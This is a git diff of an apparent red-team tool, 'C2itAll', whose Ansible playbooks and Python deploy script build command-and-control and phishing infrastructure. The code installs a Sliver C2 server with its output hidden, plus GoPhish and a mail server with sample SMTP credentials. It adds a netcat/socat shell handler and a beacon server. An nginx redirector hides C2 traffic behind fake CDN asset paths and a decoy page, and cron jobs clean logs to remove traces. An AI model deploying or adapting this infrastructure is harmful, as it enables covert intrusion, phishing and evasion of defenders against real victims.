diff --git a/deploy.py b/deploy.py index 09ad498..e7c37d5 100644 --- a/deploy.py +++ b/deploy.py @@ -87,6 +87,8 @@ def parse_arguments(): parser.add_argument('--region', help='Generic region parameter') parser.add_argument('--redirector-name', help='Name for the redirector instance (default: random)') parser.add_argument('--c2-name', help='Name for the C2 instance (default: random)') + parser.add_argument('--redirector-subdomain', default='cdn', help='Subdomain for the redirector (default: cdn)') + parser.add_argument('--c2-subdomain', default='mail', help='Subdomain for the C2 server (default: mail)') # Common arguments parser.add_argument('--teardown', action='store_true', help='Tear down existing infrastructure') @@ -301,6 +303,13 @@ def interactive_setup(): default_domain = vars_data.get('domain', 'example.com') config['domain'] = input(f"\nDomain name [default: {default_domain}]: ") or default_domain + # Subdomain configuration - new feature + default_redirector_subdomain = vars_data.get('redirector_subdomain', 'cdn') + config['redirector_subdomain'] = input(f"Redirector subdomain [default: {default_redirector_subdomain}]: ") or default_redirector_subdomain + + default_c2_subdomain = vars_data.get('c2_subdomain', 'mail') + config['c2_subdomain'] = input(f"C2 server subdomain [default: {default_c2_subdomain}]: ") or default_c2_subdomain + # Always use the most up-to-date domain for the email default default_email = vars_data.get('letsencrypt_email') if not default_email or "example.com" in default_email: @@ -1227,6 +1236,10 @@ C2itAll - Red Team Infrastructure Setup for key, value in vars_data.items(): config[key] = value + # Subdomain settings - ensure these are explicitly set + config['redirector_subdomain'] = args.redirector_subdomain or 'cdn' + config['c2_subdomain'] = args.c2_subdomain or 'mail' + # AWS settings if args.provider == "aws": config['aws_access_key'] = args.aws_key or vars_data.get('aws_access_key') diff --git a/old_playbooks/c2-deploy.yaml b/old_playbooks/c2-deploy.yaml deleted file mode 100644 index e215544..0000000 --- a/old_playbooks/c2-deploy.yaml +++ /dev/null @@ -1,213 +0,0 @@ ---- -# Linode C2 Deployment Playbook -# This playbook handles both redirector and C2 deployment for Linode - -- name: Create and configure Linode infrastructure - hosts: localhost - gather_facts: false - connection: local - vars_files: - - vars.yaml - vars: - # Default values for required variables - ssh_user: "{{ ssh_user | default('root') }}" - linode_region: "{{ linode_region | default(region_choices | random) }}" - plan: "{{ plan | default('g6-standard-1') }}" - image: "{{ image | default('linode/debian11') }}" - - # Deployment mode flags - redirector_only: "{{ redirector_only | default(false) }}" - c2_only: "{{ c2_only | default(false) }}" - - # Generate random instance names if not provided - redirector_name: "{{ redirector_name | default('srv-' + 9999999999 | random | to_uuid | hash('md5') | truncate(8, True, '')) }}" - c2_name: "{{ c2_name | default('node-' + 9999999999 | random | to_uuid | hash('md5') | truncate(8, True, '')) }}" - - # Generate random shell handler port if not provided - shell_handler_port: "{{ shell_handler_port | default(4000 + 60000 | random) }}" - - tasks: - - name: Validate required Linode token - assert: - that: - - linode_token is defined and linode_token != "" - fail_msg: "Linode API token is required. Set linode_token in vars.yaml or via --linode-token." - - - name: Set the target instances to deploy based on configuration - set_fact: - deploy_redirector: "{{ not c2_only }}" - deploy_c2: "{{ not redirector_only }}" - - # REDIRECTOR DEPLOYMENT - - name: Deploy redirector Linode instance - when: deploy_redirector - block: - - name: Create redirector Linode instance - community.general.linode_v4: - access_token: "{{ linode_token }}" - label: "{{ redirector_name }}" - type: "{{ plan }}" - region: "{{ linode_region }}" - image: "{{ image }}" - root_pass: "{{ lookup('password', '/dev/null length=24 chars=ascii_letters,digits') }}" - authorized_keys: - - "{{ lookup('file', ssh_key_path) }}" - state: present - register: redirector_instance - - - name: Set redirector_ip for later use - set_fact: - redirector_ip: "{{ redirector_instance.instance.ipv4[0] }}" - redirector_instance_id: "{{ redirector_instance.instance.id }}" - - - name: Enhanced wait for SSH with retry mechanism - block: - - name: Initial wait for instance to become reachable - wait_for: - host: "{{ linode_instance.instance.ipv4[0] }}" - port: 22 - delay: 60 # Increased initial delay - timeout: 180 - state: started - register: initial_wait - - - name: Additional pause to ensure SSH is fully initialized - pause: - seconds: 120 - when: initial_wait is succeeded - - - name: Add redirector to inventory - add_host: - name: "redirector" - groups: "redirectors" - ansible_host: "{{ redirector_ip }}" - ansible_user: "{{ ssh_user }}" - ansible_ssh_private_key_file: "{{ ssh_key_path | replace('.pub', '') }}" - ansible_ssh_common_args: "-o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null" - - # C2 SERVER DEPLOYMENT - - name: Deploy C2 Linode instance - when: deploy_c2 - block: - - name: Create C2 Linode instance - community.general.linode_v4: - access_token: "{{ linode_token }}" - label: "{{ c2_name }}" - type: "{{ plan }}" - region: "{{ linode_region }}" - image: "{{ image }}" - root_pass: "{{ lookup('password', '/dev/null length=24 chars=ascii_letters,digits') }}" - authorized_keys: - - "{{ lookup('file', ssh_key_path) }}" - state: present - register: c2_instance - - - name: Set c2_ip for later use - set_fact: - c2_ip: "{{ c2_instance.instance.ipv4[0] }}" - c2_instance_id: "{{ c2_instance.instance.id }}" - - - name: Wait for C2 SSH to be available - wait_for: - host: "{{ c2_ip }}" - port: 22 - delay: 30 - timeout: 300 - state: started - - - name: Add C2 to inventory - add_host: - name: "c2" - groups: "c2servers" - ansible_host: "{{ c2_ip }}" - ansible_user: "{{ ssh_user }}" - ansible_ssh_private_key_file: "{{ ssh_key_path | replace('.pub', '') }}" - ansible_ssh_common_args: "-o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null" - -- name: Configure redirector server - hosts: redirectors - become: true - gather_facts: true - vars_files: - - vars.yaml - vars: - c2_ip: "{{ hostvars['localhost']['c2_ip'] | default('127.0.0.1') }}" - redirector_subdomain: "{{ redirector_subdomain | default('cdn') }}" - tasks: - - name: Wait for apt to be available - apt: - update_cache: yes - register: apt_result - until: apt_result is success - retries: 5 - delay: 10 - - - name: Disable root password authentication for SSH immediately - lineinfile: - path: /etc/ssh/sshd_config - regexp: '^#?PasswordAuthentication' - line: 'PasswordAuthentication no' - state: present - - - name: Restart SSH service to apply changes - service: - name: ssh - state: restarted - - - name: Include common redirector configuration tasks - include_tasks: "../tasks/configure_redirector.yml" - -- name: Configure C2 server - hosts: c2servers - become: true - gather_facts: true - vars_files: - - vars.yaml - vars: - redirector_ip: "{{ hostvars['localhost']['redirector_ip'] | default('127.0.0.1') }}" - c2_subdomain: "{{ c2_subdomain | default('mail') }}" - tasks: - - name: Wait for apt to be available - apt: - update_cache: yes - register: apt_result - until: apt_result is success - retries: 5 - delay: 10 - - - name: Disable root password authentication for SSH immediately - lineinfile: - path: /etc/ssh/sshd_config - regexp: '^#?PasswordAuthentication' - line: 'PasswordAuthentication no' - state: present - - - name: Restart SSH service to apply changes - service: - name: ssh - state: restarted - - - name: Include common tool installation tasks - include_tasks: "../tasks/install_tools.yml" - - - name: Include common C2 configuration tasks - include_tasks: "../tasks/configure_c2.yml" - - - name: Include common security hardening tasks - include_tasks: "../tasks/security_hardening.yml" - - - name: Include common mail server configuration tasks - include_tasks: "../tasks/configure_mail.yml" - - - name: Print deployment summary - debug: - msg: - - "C2 Infrastructure Deployment Complete!" - - "--------------------------------------" - - "Redirector IP: {{ hostvars['localhost']['redirector_ip'] | default('Not deployed') }}" - - "Redirector Domain: {{ redirector_subdomain }}.{{ domain }}" - - "C2 Server IP: {{ ansible_host }}" - - "C2 Server Domain: {{ c2_subdomain }}.{{ domain }}" - - "GoPhish Admin Port: {{ gophish_admin_port }}" - - "Shell Handler Port: {{ shell_handler_port }}" - when: not disable_summary | default(false) \ No newline at end of file diff --git a/old_playbooks/c2-vars-template.yaml b/old_playbooks/c2-vars-template.yaml deleted file mode 100644 index 91f643d..0000000 --- a/old_playbooks/c2-vars-template.yaml +++ /dev/null @@ -1,40 +0,0 @@ -linode_token: "TOKEN" -region_choices: - - ap-west - - ca-central - - ap-southeast - - us-iad - - us-ord - - fr-par - - us-sea - - br-gru - - nl-ams - - se-sto - - es-mad - - in-maa - - jp-osa - - it-mil - - us-mia - - id-cgk - - us-lax - - gb-lon - - au-mel - - in-bom-2 - - de-fra-2 - - sg-sin-2 - - us-central - - us-west - - us-southeast - - us-east - - eu-west - - ap-south - - eu-central - - ap-northeast -plan: "g6-standard-2" -image: "linode/kali" -domain: "example.com" -mail_hostname: "mail.example.com" -letsencrypt_email: "admin@example.com" -smtp_auth_user: "phishuser" -smtp_auth_pass: "SuperSecretPass123!" -gophish_admin_port: "2222" \ No newline at end of file diff --git a/old_playbooks/configure-c2.yml b/old_playbooks/configure-c2.yml deleted file mode 100644 index 93fc131..0000000 --- a/old_playbooks/configure-c2.yml +++ /dev/null @@ -1,136 +0,0 @@ ---- -# Common task for configuring C2 server -# Shared across all providers - -- name: Update apt cache - apt: - update_cache: yes - -- name: Set a custom MOTD - template: - src: "../templates/motd.j2" - dest: /etc/motd - owner: root - group: root - mode: '0644' - -- name: Install base utilities and tools via apt - apt: - name: - - git - - wget - - curl - - unzip - - python3-pip - - python3-venv - - tmux - - pipx - - nmap - - tcpdump - - hydra - - john - - hashcat - - sqlmap - - gobuster - - dirb - - enum4linux - - dnsenum - - seclists - - responder - - golang - - proxychains - - tor - - crackmapexec - - jq - - unzip - - postfix - - certbot - - opendkim - - opendkim-tools - - dovecot-core - - dovecot-imapd - - dovecot-pop3d - - dovecot-sieve - - dovecot-managesieved - - yq - state: present - -- name: Copy operational scripts - copy: - src: "{{ item }}" - dest: "/opt/c2/{{ item }}" - mode: '0700' - owner: root - group: root - with_items: - - clean-logs.sh - - secure-exit.sh - - serve-beacons.sh - -- name: Create operational directories - file: - path: "{{ item }}" - state: directory - mode: '0700' - owner: root - group: root - with_items: - - /opt/c2 - - /opt/beacons - - /opt/payloads - -- name: Create Sliver service file - copy: - content: | - [Unit] - Description=Sliver C2 Server - After=network.target - - [Service] - Type=simple - User=root - Group=root - WorkingDirectory=/root/.sliver - ExecStart=/usr/local/bin/sliver-server daemon - Restart=always - RestartSec=10 - - # Security measures - PrivateTmp=true - ProtectHome=false - NoNewPrivileges=true - - # Hide process information - StandardOutput=null - StandardError=null - - [Install] - WantedBy=multi-user.target - dest: /etc/systemd/system/sliver.service - mode: '0644' - owner: root - group: root - -- name: Set up cron job for log cleaning if zero-logs enabled - cron: - name: "Clean logs" - minute: "0" - hour: "*/6" - job: "/opt/c2/clean-logs.sh > /dev/null 2>&1" - when: zero_logs | bool - -- name: Install Let's Encrypt certificate if domain specified - shell: | - certbot certonly --standalone -d {{ c2_subdomain }}.{{ domain }} --non-interactive --agree-tos -m {{ letsencrypt_email }} - args: - creates: /etc/letsencrypt/live/{{ c2_subdomain }}.{{ domain }}/fullchain.pem - when: domain != "example.com" - -- name: Configure and start beacon server - shell: | - sed -i "s/C2_HOST=.*/C2_HOST=\"{{ ansible_host }}\"/g" /opt/c2/serve-beacons.sh - chmod +x /opt/c2/serve-beacons.sh - # Check if beacon server is already running - if ! pgrep -f "/opt/c2/serve-beacons.sh" > /dev/null; then - nohup /opt/c2/serve-beacons.sh > /dev/null 2>&1 & - fi \ No newline at end of file diff --git a/old_playbooks/configure-redirector.yml b/old_playbooks/configure-redirector.yml deleted file mode 100644 index 1acf87d..0000000 --- a/old_playbooks/configure-redirector.yml +++ /dev/null @@ -1,218 +0,0 @@ ---- -# Linode/configure-redirector.yml -# This playbook handles only the configuration of an already-created redirector - -- name: Configure Linode redirector - hosts: redirector - gather_facts: false - become: true - vars_files: - - vars.yaml - vars: - # Default values if not provided - shell_handler_port: "{{ shell_handler_port | default(4000 + 60000 | random) }}" - domain: "{{ domain | default('example.com') }}" - redirector_subdomain: "{{ redirector_subdomain | default('cdn') }}" - - tasks: - # Retry logic for SSH connection - - name: Wait for SSH connection to stabilize - wait_for_connection: - delay: 10 - timeout: 300 - register: wait_result - ignore_errors: true - retries: 5 - delay: 30 - until: wait_result is success - - - name: Gather facts after ensuring SSH connection - setup: - register: setup_result - ignore_errors: true - retries: 5 - delay: 30 - until: setup_result is success - - - name: Wait for apt lock to be released - shell: | - while lsof /var/lib/dpkg/lock-frontend >/dev/null 2>&1; do - echo "waiting for apt lock to be released..." - sleep 5 - done - changed_when: false - - - name: Disable root password authentication for SSH immediately - lineinfile: - path: /etc/ssh/sshd_config - regexp: '^#?PasswordAuthentication' - line: 'PasswordAuthentication no' - state: present - register: ssh_config_result - ignore_errors: true - retries: 3 - delay: 10 - until: ssh_config_result is success - - - name: Restart SSH service to apply changes - service: - name: ssh - state: restarted - register: ssh_restart_result - ignore_errors: true - retries: 3 - delay: 10 - until: ssh_restart_result is success - - - name: Update apt cache - apt: - update_cache: yes - register: apt_update_result - ignore_errors: true - retries: 5 - delay: 10 - until: apt_update_result is success - - - name: Install nginx and other required packages - apt: - name: - - nginx - - certbot - - python3-certbot-nginx - - socat - - netcat-openbsd - - secure-delete - state: present - register: apt_install_result - ignore_errors: true - retries: 3 - delay: 10 - until: apt_install_result is success - - - name: Create directories for operational scripts - file: - path: "{{ item }}" - state: directory - mode: '0700' - owner: root - group: root - with_items: - - /opt/c2 - - /opt/shell-handler - - - name: Copy clean-logs.sh script - copy: - src: "../files/clean-logs.sh" # Fix the path to point to root files directory - dest: /opt/c2/clean-logs.sh - mode: '0700' - owner: root - group: root - - - name: Copy shell handler script - copy: - src: "../files/persistent-listener.sh" # Use relative path with ../ prefix - dest: /opt/shell-handler/persistent-listener.sh - mode: '0700' - owner: root - group: root - - - name: Configure shell handler script with C2 IP - replace: - path: /opt/shell-handler/persistent-listener.sh - regexp: 'C2_HOST="127.0.0.1"' - replace: 'C2_HOST="{{ c2_ip | default("127.0.0.1") }}"' - - - name: Configure shell handler script with listening port - replace: - path: /opt/shell-handler/persistent-listener.sh - regexp: 'LISTEN_PORT=4444' - replace: 'LISTEN_PORT={{ shell_handler_port }}' - - - name: Create shell handler service - template: - src: "../FlokiNET/templates/shell-handler.service.j2" - dest: /etc/systemd/system/shell-handler.service - mode: '0644' - owner: root - group: root - vars: - c2_ip: "{{ c2_ip | default('127.0.0.1') }}" - shell_handler_port: "{{ shell_handler_port }}" - - - name: Configure NGINX for zero-logging - template: - src: "../FlokiNET/templates/nginx.conf.j2" - dest: /etc/nginx/nginx.conf - mode: '0644' - owner: root - group: root - when: zero_logs | default(true) | bool - - - name: Configure NGINX for C2 redirection - template: - src: "../FlokiNET/templates/default-site.j2" - dest: /etc/nginx/sites-available/default - mode: '0644' - owner: root - group: root - vars: - domain: "{{ domain }}" - c2_host: "{{ c2_ip | default('127.0.0.1') }}" - - - name: Create legitimate-looking index.html - template: - src: "../FlokiNET/templates/index.html.j2" - dest: /var/www/html/index.html - mode: '0644' - owner: www-data - group: www-data - vars: - domain: "{{ domain }}" - redirector_subdomain: "{{ redirector_subdomain }}" - - - name: Start and enable shell handler service - systemd: - name: shell-handler - state: started - enabled: yes - daemon_reload: yes - register: shell_handler_result - ignore_errors: true - retries: 3 - delay: 10 - until: shell_handler_result is success - - - name: Set up cron job for log cleaning if zero-logs enabled - cron: - name: "Clean logs" - minute: "0" - hour: "*/6" - job: "/opt/c2/clean-logs.sh > /dev/null 2>&1" - when: zero_logs | default(true) | bool - - - name: Install Let's Encrypt certificate if domain specified - shell: | - certbot --nginx -d {{ redirector_subdomain }}.{{ domain }} --non-interactive --agree-tos -m {{ letsencrypt_email | default('admin@' + domain) }} - args: - creates: /etc/letsencrypt/live/{{ redirector_subdomain }}.{{ domain }}/fullchain.pem - when: domain != "example.com" - ignore_errors: true - - - name: Restart NGINX - systemd: - name: nginx - state: restarted - register: nginx_restart_result - ignore_errors: true - retries: 3 - delay: 10 - until: nginx_restart_result is success - - - name: Print deployment summary - debug: - msg: - - "Redirector Configuration Complete!" - - "-------------------------------" - - "Redirector IP: {{ ansible_host }}" - - "Redirector Domain: {{ redirector_subdomain }}.{{ domain }} (Update DNS A record)" - - "Shell Handler Port: {{ shell_handler_port }}" \ No newline at end of file diff --git a/tasks/configure_c2.yml b/tasks/configure_c2.yml index 410f6cf..9f865f5 100644 --- a/tasks/configure_c2.yml +++ b/tasks/configure_c2.yml @@ -95,13 +95,6 @@ job: "/opt/c2/clean-logs.sh > /dev/null 2>&1" when: zero_logs | bool -- name: Install Let's Encrypt certificate if domain specified - shell: | - certbot certonly --standalone -d {{ c2_subdomain }}.{{ domain }} --non-interactive --agree-tos -m {{ letsencrypt_email }} - args: - creates: /etc/letsencrypt/live/{{ c2_subdomain }}.{{ domain }}/fullchain.pem - when: domain != "example.com" - - name: Configure and start beacon server shell: | sed -i "s/C2_HOST=.*/C2_HOST=\"{{ ansible_host }}\"/g" /opt/c2/serve-beacons.sh diff --git a/tasks/configure_redirector.yml b/tasks/configure_redirector.yml index 2b753d1..f65e4a0 100644 --- a/tasks/configure_redirector.yml +++ b/tasks/configure_redirector.yml @@ -70,36 +70,167 @@ group: root when: zero_logs | bool -- name: Set subdomain value explicitly - set_fact: - redirector_subdomain: "{{ redirector_subdomain | default('cdn') }}" +# Configure nginx sites with default values - no certificate +- name: Configure NGINX site with HTTP (no SSL) + copy: + content: | + server { + listen 80; + listen [::]:80; + server_name cdn.{{ domain }}; + + root /var/www/html; + index index.html; + + # Primary location for legitimate website traffic + location / { + try_files $uri $uri/ =404; + } + + # Special URI patterns for C2 traffic + # These will redirect to the actual C2 server + location /ajax/ { + proxy_pass http://{{ c2_ip }}:8888; + proxy_http_version 1.1; + proxy_set_header Host $host; + proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; + proxy_set_header X-Real-IP $remote_addr; + proxy_set_header Upgrade $http_upgrade; + proxy_set_header Connection "upgrade"; + } + + # Static resources that actually redirect to C2 + location ~ ^/static/(css|js|images)/.*\.(css|js|png|jpg|jpeg|gif|ico)$ { + proxy_pass http://{{ c2_ip }}:8888; + proxy_http_version 1.1; + proxy_set_header Host $host; + proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; + proxy_set_header X-Real-IP $remote_addr; + } + + # Additional security headers + add_header X-Content-Type-Options "nosniff" always; + add_header X-Frame-Options "SAMEORIGIN" always; + add_header X-XSS-Protection "1" mode=block; + add_header Referrer-Policy "no-referrer" always; + } -- name: Configure NGINX for C2 redirection (standard) - template: - src: "../templates/redirector-site.conf.j2" + # Catch-all server block to respond to unknown hosts + server { + listen 80 default_server; + listen [::]:80 default_server; + + # Redirect all unknown traffic to a legitimate-looking site + return 301 https://www.google.com; + + # Disable logs + access_log off; + error_log /dev/null crit; + } dest: /etc/nginx/sites-available/default mode: '0644' owner: root group: root - when: not (setup_integrated_tracker | default(false) | bool) - -- name: Configure NGINX for C2 redirection with tracker support - template: - src: "../templates/redirector-site-with-tracker.conf.j2" - dest: /etc/nginx/sites-available/default - mode: '0644' - owner: root - group: root - when: setup_integrated_tracker | default(false) | bool - name: Create legitimate-looking index.html - template: - src: "../templates/redirector-index.html.j2" + copy: + content: | + + +
+ + +Enterprise Content Delivery Network
+This server is part of our global content delivery network.
+